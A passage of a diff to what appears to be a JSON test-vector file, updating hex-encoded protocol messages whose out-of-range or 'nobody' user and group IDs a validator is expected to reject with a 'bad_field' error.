"574d58310101000001000000740600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a3939392c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-uid-nobody-65534", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a36353533342c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a36353533342c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-uid-65535", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a36353533352c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a36353533352c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-gid-nobody", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a36353533342c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a36353533342c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-gid-equals-a-tool-uid", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030312c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030312c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-uid-above-65535", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a36353533362c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c227072